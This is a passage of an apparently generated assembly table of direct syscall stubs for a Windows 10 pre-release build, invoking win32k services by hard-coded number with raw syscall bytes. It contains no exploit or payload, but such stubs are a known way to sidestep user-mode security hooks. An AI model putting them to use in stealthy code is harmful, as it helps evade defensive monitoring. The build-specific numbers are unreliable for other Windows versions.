_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMOnTimerNotification PROC STDCALL
mov r10 , rcx
mov eax , 4928
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMOnTimerNotification ENDP
; ULONG64 __stdcall NtRIMReadInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMReadInput PROC STDCALL
mov r10 , rcx
mov eax , 4929
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMReadInput ENDP
; ULONG64 __stdcall NtRIMRegisterForInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMRegisterForInput PROC STDCALL
mov r10 , rcx
mov eax , 4930
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMRegisterForInput ENDP
; ULONG64 __stdcall NtRIMRemoveInputObserver( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMRemoveInputObserver PROC STDCALL
mov r10 , rcx
mov eax , 4931
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMRemoveInputObserver ENDP
; ULONG64 __stdcall NtRIMSetTestModeStatus( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMSetTestModeStatus PROC STDCALL
mov r10 , rcx
mov eax , 4932
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMSetTestModeStatus ENDP
; ULONG64 __stdcall NtRIMUnregisterForInput( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMUnregisterForInput PROC STDCALL
mov r10 , rcx
mov eax , 4933
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMUnregisterForInput ENDP
; ULONG64 __stdcall NtRIMUpdateInputObserverRegistration( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMUpdateInputObserverRegistration PROC STDCALL
mov r10 , rcx
mov eax , 4934
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtRIMUpdateInputObserverRegistration ENDP
; ULONG64 __stdcall NtSetCompositionSurfaceAnalogExclusive( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceAnalogExclusive PROC STDCALL
mov r10 , rcx
mov eax , 4935
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceAnalogExclusive ENDP
; ULONG64 __stdcall NtSetCompositionSurfaceBufferUsage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceBufferUsage PROC STDCALL
mov r10 , rcx
mov eax , 4936
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceBufferUsage ENDP
; ULONG64 __stdcall NtSetCompositionSurfaceDirectFlipState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceDirectFlipState PROC STDCALL
mov r10 , rcx
mov eax , 4937
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceDirectFlipState ENDP
; ULONG64 __stdcall NtSetCompositionSurfaceIndependentFlipInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceIndependentFlipInfo PROC STDCALL
mov r10 , rcx
mov eax , 4938
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceIndependentFlipInfo ENDP
; ULONG64 __stdcall NtSetCompositionSurfaceStatistics( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceStatistics PROC STDCALL
mov r10 , rcx
mov eax , 4939
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtSetCompositionSurfaceStatistics ENDP
; ULONG64 __stdcall NtTokenManagerConfirmOutstandingAnalogToken( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerConfirmOutstandingAnalogToken PROC STDCALL
mov r10 , rcx
mov eax , 4940
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerConfirmOutstandingAnalogToken ENDP
; ULONG64 __stdcall NtTokenManagerCreateCompositionTokenHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerCreateCompositionTokenHandle PROC STDCALL
mov r10 , rcx
mov eax , 4941
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerCreateCompositionTokenHandle ENDP
; ULONG64 __stdcall NtTokenManagerCreateFlipObjectReturnTokenHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerCreateFlipObjectReturnTokenHandle PROC STDCALL
mov r10 , rcx
mov eax , 4942
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerCreateFlipObjectReturnTokenHandle ENDP
; ULONG64 __stdcall NtTokenManagerCreateFlipObjectTokenHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerCreateFlipObjectTokenHandle PROC STDCALL
mov r10 , rcx
mov eax , 4943
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerCreateFlipObjectTokenHandle ENDP
; ULONG64 __stdcall NtTokenManagerGetAnalogExclusiveSurfaceUpdates( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerGetAnalogExclusiveSurfaceUpdates PROC STDCALL
mov r10 , rcx
mov eax , 4944
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerGetAnalogExclusiveSurfaceUpdates ENDP
; ULONG64 __stdcall NtTokenManagerGetAnalogExclusiveTokenEvent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerGetAnalogExclusiveTokenEvent PROC STDCALL
mov r10 , rcx
mov eax , 4945
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerGetAnalogExclusiveTokenEvent ENDP
; ULONG64 __stdcall NtTokenManagerOpenSectionAndEvents( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerOpenSectionAndEvents PROC STDCALL
mov r10 , rcx
mov eax , 4946
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerOpenSectionAndEvents ENDP
; ULONG64 __stdcall NtTokenManagerThread( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerThread PROC STDCALL
mov r10 , rcx
mov eax , 4947
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtTokenManagerThread ENDP
; ULONG64 __stdcall NtUnBindCompositionSurface( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUnBindCompositionSurface PROC STDCALL
mov r10 , rcx
mov eax , 4948
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUnBindCompositionSurface ENDP
; ULONG64 __stdcall NtUpdateInputSinkTransforms( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUpdateInputSinkTransforms PROC STDCALL
mov r10 , rcx
mov eax , 4949
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUpdateInputSinkTransforms ENDP
; ULONG64 __stdcall NtUserAcquireIAMKey( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAcquireIAMKey PROC STDCALL
mov r10 , rcx
mov eax , 4950
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAcquireIAMKey ENDP
; ULONG64 __stdcall NtUserAcquireInteractiveControlBackgroundAccess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAcquireInteractiveControlBackgroundAccess PROC STDCALL
mov r10 , rcx
mov eax , 4951
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAcquireInteractiveControlBackgroundAccess ENDP
; ULONG64 __stdcall NtUserAddClipboardFormatListener( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAddClipboardFormatListener PROC STDCALL
mov r10 , rcx
mov eax , 4952
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAddClipboardFormatListener ENDP
; ULONG64 __stdcall NtUserAssociateInputContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAssociateInputContext PROC STDCALL
mov r10 , rcx
mov eax , 4953
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAssociateInputContext ENDP
; ULONG64 __stdcall NtUserAutoPromoteMouseInPointer( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAutoPromoteMouseInPointer PROC STDCALL
mov r10 , rcx
mov eax , 4954
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAutoPromoteMouseInPointer ENDP
; ULONG64 __stdcall NtUserAutoRotateScreen( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAutoRotateScreen PROC STDCALL
mov r10 , rcx
mov eax , 4955
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAutoRotateScreen ENDP
; ULONG64 __stdcall NtUserBeginLayoutUpdate( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBeginLayoutUpdate PROC STDCALL
mov r10 , rcx
mov eax , 4956
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBeginLayoutUpdate ENDP
; ULONG64 __stdcall NtUserBlockInput( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBlockInput PROC STDCALL
mov r10 , rcx
mov eax , 4957
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBlockInput ENDP
; ULONG64 __stdcall NtUserBroadcastThemeChangeEvent( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBroadcastThemeChangeEvent PROC STDCALL
mov r10 , rcx
mov eax , 4958
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBroadcastThemeChangeEvent ENDP
; ULONG64 __stdcall NtUserBuildHimcList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBuildHimcList PROC STDCALL
mov r10 , rcx
mov eax , 4959
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBuildHimcList ENDP
; ULONG64 __stdcall NtUserBuildPropList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBuildPropList PROC STDCALL
mov r10 , rcx
mov eax , 4960
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBuildPropList ENDP
; ULONG64 __stdcall NtUserCalculatePopupWindowPosition( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCalculatePopupWindowPosition PROC STDCALL
mov r10 , rcx
mov eax , 4961
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCalculatePopupWindowPosition ENDP
; ULONG64 __stdcall NtUserCallHwndOpt( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwndOpt PROC STDCALL
mov r10 , rcx
mov eax , 4962
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwndOpt ENDP
; ULONG64 __stdcall NtUserCanBrokerForceForeground( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCanBrokerForceForeground PROC STDCALL
mov r10 , rcx
mov eax , 4963
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCanBrokerForceForeground ENDP
; ULONG64 __stdcall NtUserChangeDisplaySettings( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserChangeDisplaySettings PROC STDCALL
mov r10 , rcx
mov eax , 4964
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserChangeDisplaySettings ENDP
; ULONG64 __stdcall NtUserChangeWindowMessageFilterEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserChangeWindowMessageFilterEx PROC STDCALL
mov r10 , rcx
mov eax , 4965
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserChangeWindowMessageFilterEx ENDP
; ULONG64 __stdcall NtUserCheckAccessForIntegrityLevel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckAccessForIntegrityLevel PROC STDCALL
mov r10 , rcx
mov eax , 4966
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckAccessForIntegrityLevel ENDP
; ULONG64 __stdcall NtUserCheckProcessForClipboardAccess( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckProcessForClipboardAccess PROC STDCALL
mov r10 , rcx
mov eax , 4967
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckProcessForClipboardAccess ENDP
; ULONG64 __stdcall NtUserCheckProcessSession( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckProcessSession PROC STDCALL
mov r10 , rcx
mov eax , 4968
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckProcessSession ENDP
; ULONG64 __stdcall NtUserCheckWindowThreadDesktop( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckWindowThreadDesktop PROC STDCALL
mov r10 , rcx
mov eax , 4969
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckWindowThreadDesktop ENDP
; ULONG64 __stdcall NtUserChildWindowFromPointEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserChildWindowFromPointEx PROC STDCALL
mov r10 , rcx
mov eax , 4970
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserChildWindowFromPointEx ENDP
; ULONG64 __stdcall NtUserClearForeground( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserClearForeground PROC STDCALL
mov r10 , rcx
mov eax , 4971
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserClearForeground ENDP
; ULONG64 __stdcall NtUserClipCursor( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserClipCursor PROC STDCALL
mov r10 , rcx
mov eax , 4972
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserClipCursor ENDP
; ULONG64 __stdcall NtUserCompositionInputSinkLuidFromPoint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCompositionInputSinkLuidFromPoint PROC STDCALL
mov r10 , rcx
mov eax , 4973
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCompositionInputSinkLuidFromPoint ENDP
; ULONG64 __stdcall NtUserCompositionInputSinkViewInstanceIdFromPoint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCompositionInputSinkViewInstanceIdFromPoint PROC STDCALL
mov r10 , rcx
mov eax , 4974
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCompositionInputSinkViewInstanceIdFromPoint ENDP
; ULONG64 __stdcall NtUserConfirmResizeCommit( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserConfirmResizeCommit PROC STDCALL
mov r10 , rcx
mov eax , 4975
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserConfirmResizeCommit ENDP
; ULONG64 __stdcall NtUserCreateDCompositionHwndTarget( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateDCompositionHwndTarget PROC STDCALL
mov r10 , rcx
mov eax , 4976
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateDCompositionHwndTarget ENDP
; ULONG64 __stdcall NtUserCreateDesktopEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateDesktopEx PROC STDCALL
mov r10 , rcx
mov eax , 4977
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateDesktopEx ENDP
; ULONG64 __stdcall NtUserCreateEmptyCursorObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateEmptyCursorObject PROC STDCALL
mov r10 , rcx
mov eax , 4978
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateEmptyCursorObject ENDP
; ULONG64 __stdcall NtUserCreateInputContext( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateInputContext PROC STDCALL
mov r10 , rcx
mov eax , 4979
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateInputContext ENDP
; ULONG64 __stdcall NtUserCreateWindowStation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateWindowStation PROC STDCALL
mov r10 , rcx
mov eax , 4980
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateWindowStation ENDP
; ULONG64 __stdcall NtUserCtxDisplayIOCtl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCtxDisplayIOCtl PROC STDCALL
mov r10 , rcx
mov eax , 4981
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCtxDisplayIOCtl ENDP
; ULONG64 __stdcall NtUserDeferWindowPosAndBand( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDeferWindowPosAndBand PROC STDCALL
mov r10 , rcx
mov eax , 4982
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDeferWindowPosAndBand ENDP
; ULONG64 __stdcall NtUserDelegateCapturePointers( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDelegateCapturePointers PROC STDCALL
mov r10 , rcx
mov eax , 4983
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDelegateCapturePointers ENDP
; ULONG64 __stdcall NtUserDelegateInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDelegateInput PROC STDCALL
mov r10 , rcx
mov eax , 4984
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDelegateInput ENDP
; ULONG64 __stdcall NtUserDestroyDCompositionHwndTarget( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyDCompositionHwndTarget PROC STDCALL
mov r10 , rcx
mov eax , 4985
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyDCompositionHwndTarget ENDP
; ULONG64 __stdcall NtUserDestroyInputContext( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyInputContext PROC STDCALL
mov r10 , rcx
mov eax , 4986
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyInputContext ENDP
; ULONG64 __stdcall NtUserDisableImmersiveOwner( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisableImmersiveOwner PROC STDCALL
mov r10 , rcx
mov eax , 4987
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisableImmersiveOwner ENDP
; ULONG64 __stdcall NtUserDisableProcessWindowFiltering( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisableProcessWindowFiltering PROC STDCALL
mov r10 , rcx
mov eax , 4988
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisableProcessWindowFiltering ENDP
; ULONG64 __stdcall NtUserDisableThreadIme( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisableThreadIme PROC STDCALL
mov r10 , rcx
mov eax , 4989
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisableThreadIme ENDP
; ULONG64 __stdcall NtUserDiscardPointerFrameMessages( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDiscardPointerFrameMessages PROC STDCALL
mov r10 , rcx
mov eax , 4990
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDiscardPointerFrameMessages ENDP
; ULONG64 __stdcall NtUserDisplayConfigGetDeviceInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisplayConfigGetDeviceInfo PROC STDCALL
mov r10 , rcx
mov eax , 4991
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisplayConfigGetDeviceInfo ENDP
; ULONG64 __stdcall NtUserDisplayConfigSetDeviceInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisplayConfigSetDeviceInfo PROC STDCALL
mov r10 , rcx
mov eax , 4992
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDisplayConfigSetDeviceInfo ENDP
; ULONG64 __stdcall NtUserDoSoundConnect( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDoSoundConnect PROC STDCALL
mov r10 , rcx
mov eax , 4993
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDoSoundConnect ENDP
; ULONG64 __stdcall NtUserDoSoundDisconnect( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDoSoundDisconnect PROC STDCALL
mov r10 , rcx
mov eax , 4994
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDoSoundDisconnect ENDP
; ULONG64 __stdcall NtUserDragDetect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDragDetect PROC STDCALL
mov r10 , rcx
mov eax , 4995
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDragDetect ENDP
; ULONG64 __stdcall NtUserDragObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDragObject PROC STDCALL
mov r10 , rcx
mov eax , 4996
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDragObject ENDP
; ULONG64 __stdcall NtUserDrawAnimatedRects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawAnimatedRects PROC STDCALL
mov r10 , rcx
mov eax , 4997
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawAnimatedRects ENDP
; ULONG64 __stdcall NtUserDrawCaption( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawCaption PROC STDCALL
mov r10 , rcx
mov eax , 4998
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawCaption ENDP
; ULONG64 __stdcall NtUserDrawCaptionTemp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawCaptionTemp PROC STDCALL
mov r10 , rcx
mov eax , 4999
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawCaptionTemp ENDP
; ULONG64 __stdcall NtUserDrawMenuBarTemp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawMenuBarTemp PROC STDCALL
mov r10 , rcx
mov eax , 5000
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawMenuBarTemp ENDP
; ULONG64 __stdcall NtUserDwmGetRemoteSessionOcclusionEvent( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmGetRemoteSessionOcclusionEvent PROC STDCALL
mov r10 , rcx
mov eax , 5001
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmGetRemoteSessionOcclusionEvent ENDP
; ULONG64 __stdcall NtUserDwmGetRemoteSessionOcclusionState( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmGetRemoteSessionOcclusionState PROC STDCALL
mov r10 , rcx
mov eax , 5002
;syscall
db 0Fh , 05h
